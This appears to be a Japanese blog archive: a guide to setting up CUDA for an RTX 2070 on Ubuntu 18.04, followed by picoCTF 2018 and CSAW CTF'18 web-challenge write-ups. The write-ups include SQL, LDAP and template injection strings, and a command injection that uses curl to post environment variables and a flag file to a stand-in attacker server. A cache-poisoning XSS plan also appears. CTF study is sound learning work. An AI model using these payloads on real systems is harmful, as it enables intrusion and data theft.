Ubuntu 18.04 で NVIDIA GeForce RTX 2070 を動かすまでの道のり
ついに弊研にもGPUが!
ということで、届いたGPUサーバをさっそくセットアップしてみました。 OSインストール後から、MNISTがGPUで動くまでに何をしたかを中心に書いていきます。
サーバスペック
- CPU: Intel i7-8700 (12) @ 4.600GHz, 仮想12コア
- Memory: 32GB
- Storage: 500GB SSD
- GPU: NVIDIA GeForce RTX 2070 8GB
- OS: Ubuntu 18.04.2 LTS x86_64
こんな感じです。 家にもこれくらいのマシンが1台あったらいろいろ充実しそうです。
GPUの利用環境構築
今回はansibleを使って構築していきます。 下記のようなplaybookが出来上がりました。 なお、playbookの実行後にはOSの再起動が必要です。
- hosts: all remote_user: server gather_facts: no become: yes tasks: - name: inventory_hostname is debug: var=inventory_hostname - name: Update and upgrade apt packages apt: upgrade: yes update_cache: yes cache_valid_time: 86400 # One day # CUDA, cuDNN, NCCL, TensorRT - name: Add NVIDIA key apt_key: url: https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub - name: Install NVIDIA network deb from the network apt: deb: "{{ item }}" with_items: - https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-repo-ubuntu1804_10.0.130-1_amd64.deb - https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb - https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvinfer-runtime-trt-repo-ubuntu1804-5.0.2-ga-cuda10.0_1-1_amd64.deb - name: Install CUDA, cuDNN, NCCL, TensorRT based on network deb's config apt: update_cache: yes force: yes name: "{{ packages }}" vars: packages: - cuda-10-0 - libcudnn7=7.5.0.56-1+cuda10.0 - libcudnn7-dev=7.5.0.56-1+cuda10.0 - libnccl2=2.4.2-1+cuda10.0 - libnccl-dev=2.4.2-1+cuda10.0 - libnvinfer5=5.0.2-1+cuda10.0 - libnvinfer-dev=5.0.2-1+cuda10.0 - name: Prevent cuda related packages from upgrading command: aptitude hold "{{ item }}" with_items: - cuda-repo-ubuntu1804 - nvidia-machine-learning-repo-ubuntu1804 - nvinfer-runtime-trt-repo-ubuntu1804-5.0.2-ga-cuda10.0 - cuda-10-0 - libcudnn7 - libcudnn7-dev - libnccl2 - libnccl-dev - libnvinfer5 - libnvinfer-dev
このplaybookの中では以下のものをインストールしています。
- NVIDIAドライバ
- CUDA
- cuDNN
- NCCL
- TensorRT
NVIDIA ドライバ
NVIDIAが公開しているaptレポジトリを追加しておくことで、CUDAをaptでインストールするときに一緒にインストールされます。
CUDA
CUDA は、NVIDIAが開発しているGPU上でプログラミングをするためのソフトウェアプラットフォームです。 今回インストールするバージョンは、CUDA10.0です。 Ubuntu 18.04 が CUDA10.0 からサポートされたというのと、TensorFlow 1.13.0 が CUDA10.0 をサポートした、という理由からです。
参考: docs.nvidia.com github.com
cuDNN
cuDNNは、NVIDIAが公開しているDeep Learning用のライブラリです。 これを入れておくことでDNNに関連する計算が高速化されます。 NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。
NCCL
NCCLは、NVIDIA Collective Communications Libraryの略で、マルチGPU、マルチノードに対応するためのライブラリです。 TensorFlowのドキュメント ではOptionalとされていますが一応入れます。 こちらも、NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。
TensorRT
TensorRTは、推論の高速化用のランタイムです。 TensorFlowのドキュメント ではOptionalとされていますが一応入れます。 こちらも、NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。
その他
最後に aptitude hold
コマンドでインストールしたパッケージのバージョンを固定しています。
こうすることによって、後々 apt-get upgrade
したときにCUDAのバージョンが上がってしまっていろいろなものが動かなくなるという悲劇を避けることができます。
GPU関連コマンド
nvidia-smi
nvidia-smi -l 1
で1秒ごとにGPUの仕様状況を表示できます。
+-----------------------------------------------------------------------------+ | NVIDIA-SMI 418.39 Driver Version: 418.39 CUDA Version: 10.1 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 GeForce RTX 2070 On | 00000000:01:00.0 On | N/A | | 29% 26C P2 43W / 175W | 575MiB / 7949MiB | 13% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | 0 6476 G /usr/lib/xorg/Xorg 39MiB | | 0 6508 G /usr/bin/gnome-shell 70MiB | | 0 21667 C python 453MiB | +-----------------------------------------------------------------------------+
動作確認
前提:
- anaconda3 で python の環境構築済み
Keras (TensorFlow backend) と chainer の MNIST を動かしてみます。
GPUなしとありの場合の実行時間を time
コマンドで比較します。
今回試した MNIST のサンプルでは、GPUありの場合のほうが3倍前後速くなりました。
Keras (TensorFlow backend) を使う場合
インストール方法
pip install tensorflow-gpu>=1.13.1
pip install keras
実行例
コード: https://github.com/keras-team/keras/blob/master/examples/mnist_mlp.py
GPUなし
CUDA_VISIBLE_DEVICES= python mnist_mlp.py
# time コマンドでの実行時間測定結果 300.26user 10.73system 0:44.04elapsed 706%CPU (0avgtext+0avgdata 630744maxresident)k 0inputs+8outputs (0major+164547minor)pagefaults 0swaps
GPU あり
python mnist_mlp.py
# time コマンドでの実行時間測定結果 32.12user 3.86system 0:18.24elapsed 197%CPU (0avgtext+0avgdata 1663376maxresident)k 0inputs+8outputs (0major+354232minor)pagefaults 0swaps
chainer
インストール方法
export CHAINER_BUILD_CHAINERX=1 export CHAINERX_BUILD_CUDA=1 export CUDNN_ROOT_DIR=/usr/local/cuda-10.0 export MAKEFLAGS=-j8 # Using 8 parallel jobs. pip install --pre cupy pip install --pre chainer
実行例
コード: https://github.com/chainer/chainer/blob/master/examples/mnist/train_mnist.py
GPUなし
python train_mnist.py --unit 512 --noplot --device -1 --gpu -1
# time コマンドでの実行時間測定結果 687.14user 1008.63system 2:23.76elapsed 1179%CPU (0avgtext+0avgdata 371364maxresident)k 0inputs+14664outputs (0major+119892minor)pagefaults 0swaps
GPUあり
python train_mnist.py --unit 512 --noplot --device 0 --gpu 0
# time コマンドでの実行時間測定結果 39.36user 1.09system 0:39.75elapsed 101%CPU (0avgtext+0avgdata 1895712maxresident)k 0inputs+14576outputs (0major+454376minor)pagefaults 0swaps
詰まったところ
TensorFlow 1.13.0 は CUDA 10.0 をサポートしていますが、 CUDA 10.1 はサポートしていないようです。
現時点で CUDA の最新は 10.1 なので、うっかりしていると 10.1 が入ってしまいます。
こうなると python で import tensorflow
したときに ImportError: libcublas.so.10.0: cannot open shared object file: No such file or directory
などとエラーが出てしまいます。
(CUDA 10.1 はアンインストールしたはずなのに、 nvidia-smi
コマンドで "CUDA Version: 10.1" のままになってるのはなんでだろう...)
感想
GPUでの機械学習を成功させるためには、OS, NVIDIA ドライバ, CUDA関連のパッケージ, 機械学習ライブラリのバージョンの組み合わせがかなり限定されるということがわかりました。 何のどのバージョンをインストールすべきなのか、という選択を間違えないことが大切なようです。 一方、そこ以外は想像していたよりはシンプルでした。 GPUを使うまでにはいろんなものをソースコードからビルドしなきゃいけないみたいなイメージがあったのですが、基本的にはaptとpipでなんとかなりました。
参考URL
- How To Install Tensorflow-GPU (1.8) on Ubuntu 18.04 - YouTube
- How to install Tensorflow with CUDA 10 | pytorials.com
- Ubuntu 18.04へのCUDAインストール方法 - Qiita
- Keras、NVIDIA等の環境構築をAnsibleで自動構築 - Qiita
- Install CUDA 10.0, cuDNN 7.3 and build TensorFlow (GPU) from source on Ubuntu 18.04
- How to install Tensorflow with CUDA 10 | pytorials.com
- https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/
■
picoCTF 2018 writeup (Web問題)
Logon - Points: 150
cookie の admin: False を admin: True に変えてページ更新
Irish Name Repo - Points: 200
username: admin
password: ' OR 1=1 --
No Login - Points: 200
cookie に admin: true を追加した状態でアクセス
picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}
Secret Agent - Points: 200
user agent を Googlebot
にする。
Chrome の場合は Developer tool > 右上の「︙」 > More tools > Network conditions から設定できる
picoCTF{s3cr3t_ag3nt_m4n_134ecd62}
Buttons - Points: 250
button1 は POST 、 button2 は GET のリクエストを送るようになっている。 button2.php に POST して見るだけでいけた。
curl -X POST http://2018shell1.picoctf.com:65107/button2.php
picoCTF{button_button_whose_got_the_button_91f6f39a}
The Vault - Points: 250
php のソースが提供されている。
クエリにマッチするレコードがあれば認証成功となる。
ただし、POST された値に OR
が含まれるとインジェクションとみなされてはじかれるようになっている。
OR
を使わないインジェクションをすればいい。
username: ' UNION SELECT 1 FROM users --
password: ``
picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}
Artisinal Handcrafted HTTP 3 - Points: 300
ブラウザが発行する HTTP リクエストを生で真似て投げる問題。
nc 2018shell1.picoctf.com 33281
で接続できるプロキシサーバが与えられる。
プロキシサーバを通してフラグを持つサーバ flag.local にアクセスする。
プロキシを通じてリクエストを投げるには nc 2018shell1.picoctf.com 33281
した状態で生の HTTP リクエストを発行する必要がある。
生の HTTP リクエストは、 post man を使って組み立てることもできる。
GET / HTTP/1.1 Host: flag.local
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <a href="/login">Login</a> </header> <main> <p>You need to log in before you can see today's flag.</p> </main> </body> </html>
GET /login HTTP/1.1 Host: flag.local
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <a href="/login">Login</a> </header> <main> <h2>Log In</h2> <form method="POST" action="login"> <input type="text" name="user" placeholder="Username" /> <input type="password" name="pass" placeholder="Password" /> <input type="submit" /> </form> </main> </body> </html>
POST /login HTTP/1.1 Host: flag.local Content-Type: application/x-www-form-urlencoded Content-Length: 38 user=realbusinessuser&pass=potoooooooo
user=realbusinessuser&pass=potoooooooo HTTP/1.1 302 Found x-powered-by: Express set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/ location: / vary: Accept content-type: text/plain; charset=utf-8 content-length: 23 date: Thu, 11 Oct 2018 15:59:02 GMT connection: close Found. Redirecting to /
GET / HTTP/1.1 Host: flag.local Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D;
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <div class="user">Real Business Employee</div> <a href="/logout">Logout</a> </header> <main> <p>Hello <b>Real Business Employee</b>! Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}</code>.</p> </main> </body> </html>
Flaskcards - Points: 350
サーバサイドテンプレートインジェクションを使う。
以下を Question もしくは Answer フォームに入力すると、 flask の設定が出力される。
{{config.items()}}
fancy-alive-monitoring - Points: 400
問題概要
Monitoring tool と称した web ページが与えられる。 IP アドレスをフォームから submit すると、その IP に ping を打ってくれるというもの。 ソースコード index.php が与えられるので、中身を読むことができる。
TL;DR
- コマンドインジェクション
解法
サーバ/クライエントサイド それぞれにて正規表現を使って validation チェックをしている。
クライエントサイドのチェックは、 console から check() 関数を上書きすれば回避できる。
サーバサイドのチェックには穴があって、最後に $
が抜けているので、submit した文字列が IP アドレスから始まってさえいればチェックを通過してしまう。
例えば 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com
などとすると、サーバ側で実行されるコマンドは ping -c 1 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com
となり、サーバの環境変数の値を自サーバに POST することができる。
上記コマンドインジェクションを使って、以下の手順で攻撃を行っていく。
127.0.0.1 && curl -X POST -F "hoge=`ls`" http://your-server.com
でどんなファイルがあるか確認。super-secret-1765-flag.txt
というファイルがあることがわかる。127.0.0.1 && curl -X POST -F "hoge=`cat super-secret-1765-flag.txt`" http://your-server.com
でフラグが取得できる。
CSAW CTF'18 write-up
CSAW CTF'18 write-up
https://ctf.csaw.io の write-up です。
50 - Web - Ldab
問題概要
LDAP ユーザの検索ページが与えられる。
ポイント
- LDAP 認証
解法
LDAP 認証のクエリに対して injection をかける。
*))(|(objectClass=*
をフォームに入力して検索すると flag を取得できる。
flag{ld4p_inj3ction_i5_a_th1ng}
100 - Web - SSO
問題概要
OAuth 2 で保護された web ページにadminとしてログインできればok
ポイント
- OAuth2
解法
OAuth 2 の認証の流れに従ってリクエストを発行していき、admin の token を取得できればok。
参考:
www.aperikube.fr www.digitalocean.com
200 - Web - Hacker Movie Club
問題概要
ポイント
- Cache poisoning
- X-Forwarded-Host ヘッダ
TL;DR
- htmlテンプレートファイル(サーバサイドでキャッシュされている)を偽ファイルをキャッシュさせる
- 偽ファイルにXSSを仕込んでおく
- Report 機能を使って XSS を仕込んだページに admin を訪問させる
解法
/cdn.js
が読み込まれているので、中身を見てみます。
for (let t of document.head.children) { if (t.tagName !== 'SCRIPT') continue; let { cdn, src } = t.dataset; if (cdn === undefined || src === undefined) continue; fetch(`//${cdn}/cdn/${src}`,{ headers: { 'X-Forwarded-Host':cdn }} ).then(r=>r.blob()).then(b=> { let u = URL.createObjectURL(b); let s = document.createElement('script'); s.src = u; document.head.appendChild(s); }); }
これは、
<head>
タグの中から<script data-cdn="..." data-src="..." ...>
となっているようなタグを見つける//${cdn}/cdn/${src}
からスクリプトを取得して新たな<script>
タグとして追加する
という処理になります。
<head>
タグの中で <script data-cdn="..." data-src="..." ...>
となっているようなタグは以下の2つです。
<script data-src="mustache.min.js" data-cdn="827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services"></script> <script data-src="app.js" data-cdn="827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services"></script>
mustache.min.js
はおそらく単なるライブラリなので、 app.js
のほうのタグにより取得されるスクリプトを見てみます。
var token = null; Promise.all([ fetch('/api/movies').then(r=>r.json()), fetch(`//827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()), new Promise((resolve) => { if (window.loaded_recapcha === true) return resolve(); window.loaded_recapcha = resolve; }), new Promise((resolve) => { if (window.loaded_mustache === true) return resolve(); window.loaded_mustache = resolve; }) ]).then(([user, view])=>{ document.getElementById('content').innerHTML = Mustache.render(view,user); grecaptcha.render(document.getElementById("captcha"), { sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5', theme: 'dark', callback: t=> { token = t; document.getElementById('report').disabled = false; } }); let hidden = true; document.getElementById('report').onclick = () => { if (hidden) { document.getElementById("captcha").parentElement.style.display='block'; document.getElementById('report').disabled = true; hidden = false; return; } fetch('/api/report',{ method: 'POST', body: JSON.stringify({token:token}) }).then(r=>r.json()).then(j=>{ if (j.success) { // The admin is on her way to check the page alert("Neo... nobody has ever done this before."); alert("That's why it's going to work."); } else { alert("Dodge this."); } }); } });
このコードから以下のことが分かります。
/api/movies
からなにかのデータを取得しているようだ//827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst
からなにかのデータを取得しているようだ- report をしたときの処理のコメント
// The admin is on her way to check the page
を見る限り、report を送ると admin がページを見に来てくれるようだ
まず、 console で fetch('/api/movies').then(r=>r.json()).then(j=>console.log(JSON.stringify(j)))
と実行して /api/movies
から取得したデータの中身を見てみてます。
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}
movies の一番最後に {"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}
なるデータがあります。
どうやら、admin として /api/movies
にアクセスすると moives の一番最後の部分にに含まれていそうな気がしてきます。
次に、 fetch(
//827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst).then(r=>r.text()).then(text=>console.log(text))
を実行して main.mst
を取得して中身を見てみます。
<div class="header"> Hacker Movie Club </div> {{#admin}} <div class="header admin"> Welcome to the desert of the real. </div> {{/admin}} <table class="movies"> <thead> <th>Name</th><th>Year</th><th>Length</th> </thead> <tbody> {{#movies}} {{^admin_only}} <tr> <td>{{ name }}</td> <td>{{ year }}</td> <td>{{ length }}</td> </tr> {{/admin_only}} {{/movies}} </tbody> </table> <div class="captcha"> <div id="captcha"></div> </div> <button id="report" type="submit" class="report"></button>
なにやらtemplateのようです。これが映画一覧の表示部分のtemplateになっているようです。
これらの観察をまとめると、以下の通りの手順で flag を取得できる。
- cdn.js で設定している
X-Forwarded-Host
の値を自サーバのIPに偽装して自サーバの偽の main.mst をキャッシュさせる。 - 自サーバの偽の main.mst に XSS を仕込んでおき、 movies の値を自サーバに送信するようにする。
- report をして、admin が XSS を仕込んだ main.mst を使ってくれるようにする。
参考:
lud1161.github.io portswigger.net
400 - Web - No Vulnerable Services
問題概要
ポイント
解法
Comming soon ...